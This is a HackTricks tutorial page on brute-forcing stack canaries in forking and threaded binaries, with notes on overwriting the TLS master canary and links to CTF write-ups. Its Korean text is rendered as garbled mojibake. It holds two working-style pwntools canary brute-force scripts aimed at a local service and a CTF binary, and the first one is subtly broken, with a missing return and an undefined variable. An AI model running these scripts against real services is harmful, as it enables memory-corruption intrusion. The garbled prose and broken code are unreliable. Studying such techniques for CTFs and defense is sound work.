BF Forked & Threaded Stack Canaries
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋น์ ์ด canary์ PIE (Position Independent Executable)๋ก ๋ณดํธ๋ ๋ฐ์ด๋๋ฆฌ์ ์ง๋ฉดํด ์๋ค๋ฉด, ์ด๋ฅผ ์ฐํํ ๋ฐฉ๋ฒ์ ์ฐพ์์ผ ํ ๊ฒ์ ๋๋ค.
.png)
Tip
**
checksec**๊ฐ ๋ฐ์ด๋๋ฆฌ๊ฐ canary๋ก ๋ณดํธ๋๊ณ ์์์ ์ฐพ์ง ๋ชปํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ์ด๋ ์ ์ ์ผ๋ก ์ปดํ์ผ๋์๊ณ ํจ์๋ฅผ ์๋ณํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
๊ทธ๋ฌ๋ ํจ์ ํธ์ถ์ ์์ ๋ถ๋ถ์ ์คํ์ ๊ฐ์ด ์ ์ฅ๋๊ณ ์ด ๊ฐ์ด ์ข ๋ฃ ์ ์ ํ์ธ๋๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ฉด ์๋์ผ๋ก ์ด๋ฅผ ์ ์ ์์ต๋๋ค.
Brute force Canary
๊ฐ๋จํ canary๋ฅผ ์ฐํํ๋ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ๋ฐ์ด๋๋ฆฌ๊ฐ ์๋ก์ด ์ฐ๊ฒฐ์ ์ค์ ํ ๋๋ง๋ค ์์ ํ๋ก์ธ์ค๋ฅผ ํฌํฌํ๋ ํ๋ก๊ทธ๋จ์ธ ๊ฒฝ์ฐ์ ๋๋ค (๋คํธ์ํฌ ์๋น์ค), ์๋ํ๋ฉด ์ฐ๊ฒฐํ ๋๋ง๋ค ๊ฐ์ canary๊ฐ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์ ๋๋ค.
๋ฐ๋ผ์ canary๋ฅผ ์ฐํํ๋ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ๋ฌธ์ ํ๋์ฉ brute-forceํ๋ ๊ฒ์ด๋ฉฐ, ์ถ์ธกํ canary ๋ฐ์ดํธ๊ฐ ์ฌ๋ฐ๋ฅธ์ง ํ์ธํ๊ธฐ ์ํด ํ๋ก๊ทธ๋จ์ด ์ถฉ๋ํ๋์ง ์๋๋ฉด ์ ์์ ์ธ ํ๋ฆ์ ๊ณ์ํ๋์ง๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. ์ด ์์ ์์๋ ํจ์๊ฐ **8 ๋ฐ์ดํธ canary (x64)**๋ฅผ brute-forceํ๋ฉฐ, ์ฌ๋ฐ๋ฅด๊ฒ ์ถ์ธกํ ๋ฐ์ดํธ์ ์๋ชป๋ ๋ฐ์ดํธ๋ฅผ ์๋ต์ด ์๋ฒ์ ์ํด ๋ฐํ๋๋์ง๋ฅผ ํ์ธํ์ฌ ๊ตฌ๋ณํฉ๋๋ค (๋ค๋ฅธ ์ํฉ์์๋ try/except๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค):
Example 1
์ด ์์ ๋ 64๋นํธ๋ก ๊ตฌํ๋์์ง๋ง 32๋นํธ๋ก๋ ์ฝ๊ฒ ๊ตฌํ๋ ์ ์์ต๋๋ค.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Example 2
์ด๊ฒ์ 32๋นํธ์ ๋ํด ๊ตฌํ๋์์ง๋ง, 64๋นํธ๋ก ์ฝ๊ฒ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
๋ํ ์ด ์์ ์์๋ ํ๋ก๊ทธ๋จ์ด ์
๋ ฅ์ ํฌ๊ธฐ๋ฅผ ๋ํ๋ด๋ ๋ฐ์ดํธ์ ํ์ด๋ก๋๋ฅผ ๋จผ์ ๊ธฐ๋ํ๋ค๋ ์ ์ ์ ์ํ์ธ์.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
์ค๋ ๋
๊ฐ์ ํ๋ก์ธ์ค์ ์ค๋ ๋๋ ๊ฐ์ ์นด๋๋ฆฌ ํ ํฐ์ ๊ณต์ ํ๋ฏ๋ก, ์ด์ง ํ์ผ์ด ๊ณต๊ฒฉ์ด ๋ฐ์ํ ๋๋ง๋ค ์๋ก์ด ์ค๋ ๋๋ฅผ ์์ฑํ๋ฉด ์นด๋๋ฆฌ๋ฅผ ๋ฌด์ฐจ๋ณ ๋์ ํ ์ ์์ต๋๋ค.
๊ฒ๋ค๊ฐ, ์นด๋๋ฆฌ๋ก ๋ณดํธ๋ ์ค๋ ๋ ํจ์์์์ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ TLS์ ์ ์ฅ๋ ๋ง์คํฐ ์นด๋๋ฆฌ๋ฅผ ์์ ํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์ด๋ ์ค๋ ๋์ ์คํ์์ bof๋ฅผ ํตํด TLS๊ฐ ์ ์ฅ๋ ๋ฉ๋ชจ๋ฆฌ ์์น์ ๋๋ฌํ ์ ์์ ๊ฐ๋ฅ์ฑ์ด ์๊ธฐ ๋๋ฌธ์
๋๋ค.
๊ฒฐ๊ณผ์ ์ผ๋ก, ๋ ๊ฐ์ ๋์ผํ ์นด๋๋ฆฌ(์์ ๋ ์นด๋๋ฆฌ)๊ฐ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์ ์ํ ์กฐ์น๋ ๋ฌด์ฉ์ง๋ฌผ์ด ๋ฉ๋๋ค.
์ด ๊ณต๊ฒฉ์ ๋ค์์ ๊ธ์์ ์ํ๋ฉ๋๋ค: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
๋ํ https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015์์ TLS๊ฐ ์ผ๋ฐ์ ์ผ๋ก **mmap**์ ์ํด ์ ์ฅ๋๋ฉฐ, ์ค๋ ๋์ ์คํ์ด ์์ฑ๋ ๋๋ mmap์ ์ํด ์์ฑ๋๋ค๋ ์ ์ ์ธ๊ธํ๊ณ ์์ต๋๋ค. ์ด๋ ์ด์ ๊ธ์์ ๋ณด์ฌ์ค ๊ฒ์ฒ๋ผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ํ์ฉํ ์ ์์ต๋๋ค.
๊ธฐํ ์์ ๋ฐ ์ฐธ๊ณ ์๋ฃ
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64๋นํธ, PIE ์์, nx, BF ์นด๋๋ฆฌ, ๋ฉ๋ชจ๋ฆฌ์ ROP๋ฅผ ์์ฑํ์ฌ
execve๋ฅผ ํธ์ถํ๊ณ ๊ทธ๊ณณ์ผ๋ก ์ ํํฉ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


